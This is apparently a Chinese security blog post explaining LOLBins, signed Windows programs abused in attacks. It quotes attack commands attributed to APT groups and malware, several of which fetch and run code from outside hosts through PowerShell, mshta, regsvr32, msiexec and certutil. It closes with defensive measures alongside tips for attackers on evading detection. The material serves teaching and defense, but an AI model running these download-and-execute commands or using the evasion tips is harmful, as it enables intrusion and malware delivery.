【Windows系列】LOLBins详解 | 攻防实战中的"白加黑"利用技术

o-O-oO / 2024-08-28 / 原文

原创 HW安全之路

今天跟大家聊聊LOLBins,这个在攻防对抗中特别是今年HVV中越来越流行的"白加黑"利用技术。

一、什么是LOLBins?

LOLBins全称是"Living-Off-the-Land Binaries",直译为"生活在陆地上的二进制"。
这个概念最初由Christopher Campbell和Matt Graeber在2013年DerbyCon黑客大会上提出,后来由Philip Goh正式命名为LOLBins。

简单来说,LOLBins就是利用系统自带的合法程序或第三方可信程序来执行恶意操作,实现攻击目的。这种技术能够有效规避杀软检测,是APT组织和红队渗透测试常用的攻击手法。

二、LOLBins的特征

那么,什么样的程序才能称之为LOLBins呢?一般需要满足以下特征:

微软签名的系统二进制文件,或第三方认证签名的程序
具有对APT或红队有用的特殊功能
除正常功能外,可执行意料之外的操作(如执行恶意代码、绕过UAC等)

三、LOLBins常见利用方式

下面我们来看看一些经典的LOLBins利用案例:

3.1 cmd.exe

作为最常见的命令行程序,cmd.exe可执行任意命令,常被用于启动恶意进程。

例如APT28的Zebrocy木马就使用如下命令收集系统信息:

cmd.exe /c SYSTEMINFO & TASKLIST

3.2 powershell.exe

PowerShell凭借其强大的脚本能力,成为黑客最爱的LOLBins之一。

Beapy挖矿木马就通过PowerShell下载执行恶意脚本:

IEX (New-ObjectNet.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)

3.3 rundll32.exe

rundll32用于加载DLL,常被用来执行shellcode。

APT29的Cobalt Strike木马就是通过rundll32加载后门:

rundll32.exe "hqwhbr.lck", #2

3.4 mshta.exe

mshta可执行HTA文件,常被用来绕过应用白名单。

某APT组织利用Flash 0day后,通过mshta执行远程HTA:

mshta.exe http://47.75.114.250/resources/project/1/e0eajvtw/be473cc3342b51cd4918f67f5dfc1e66/load.hta

3.5 regsvr32.exe

regsvr32用于注册COM组件,也可加载远程脚本。

暗云4木马就是通过regsvr32加载远程SCT脚本:

regsvr32 /u /s /i:http://js.0603bye.info:280/v.sct scrobj.dll

3.6 msiexec.exe

msiexec用于安装MSI包,也可从URL下载执行。

TA505组织就利用msiexec下载第一阶段payload:

msiexec.exe RETURN=800 /i http://79.141.171.160/alg /q ksw='%TMP%'

3.7 certutil.exe

certutil原本用于管理证书,但它也可以从远程URL下载文件。

某驱动人生永恒之蓝变种利用certutil下载挖矿程序:

certutil -urlcache -split -f http://dl.haqo.net/dll.exe c:/installs.exe

3.8 wmic.exe

wmic是Windows管理工具,可用于执行系统命令和收集信息。

APT28的另一个变种就使用wmic收集详细的系统信息:

wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace

四、LOLBins的进阶利用

除了上述常见的LOLBins,还有一些更隐蔽的利用方式值得关注:

4.1 MSBuild.exe

MSBuild是.NET框架的编译工具,可以执行特制的项目文件。海莲花APT组织就利用它来加载内存中的后门:

MSBuild.exe Document.csproj /p:AssemblyFile="TeamNotepadBackupWindowsConfig.mpeg" /p:ScriptFile="NetworkSupport.mpeg" /p:Key="SupportMapsDatabasesNotificationsDatabases"

4.2 Installutil.exe

Installutil是.NET的安装工具,可以执行程序集中的安装程序组件。某APT组织利用它来绕过应用白名单:

Installutil.exe /logfile= /U "InstallerAndroid.amv" /f="MapsLogsCoreWindowsProgram.flv" /k="FrameWorkSupport"

4.3 第三方签名程序

除了系统程序,一些第三方签名的可信程序也可能被利用。例如,海莲花APT组织就曾利用微信的正常加载过程来执行恶意代码。

五、LOLBins攻防启示

从以上案例可以看出,LOLBins技术本质是通过劫持系统合法程序的加载过程来执行恶意代码。这种"白加黑"的手法给杀软检测带来了巨大挑战。

作为防守方,我们需要重点关注以下几点:

加强对系统关键程序的行为监控
建立白名单管控机制,限制未知程序执行
采用基于行为的检测技术,发现异常调用链
部署EDR等端点检测响应系统,实时监控可疑活动
对常见LOLBins进行重点审计,限制其潜在的滥用行为
加强员工安全意识培训,提高对社会工程学攻击的警惕性

作为攻击方,则可以深入研究系统程序的加载机制,寻找新的LOLBins利用点。但同时也要注意,过度依赖LOLBins可能导致攻击特征过于明显。因此,在实际操作中,应当:

混合使用多种LOLBins,避免单一特征
结合文件less和内存加载技术,降低文件落地风险
使用自定义的加密和混淆方案,增加检测难度
研究最新的系统更新和补丁,及时调整利用策略

总之,LOLBins是一把双刃剑。我们既要认识到其威胁,也要善用其优势,在攻防对抗中占得先机。无论是红队还是蓝队,对LOLBins的深入理解和灵活运用,都将成为决定攻防成败的关键因素之一。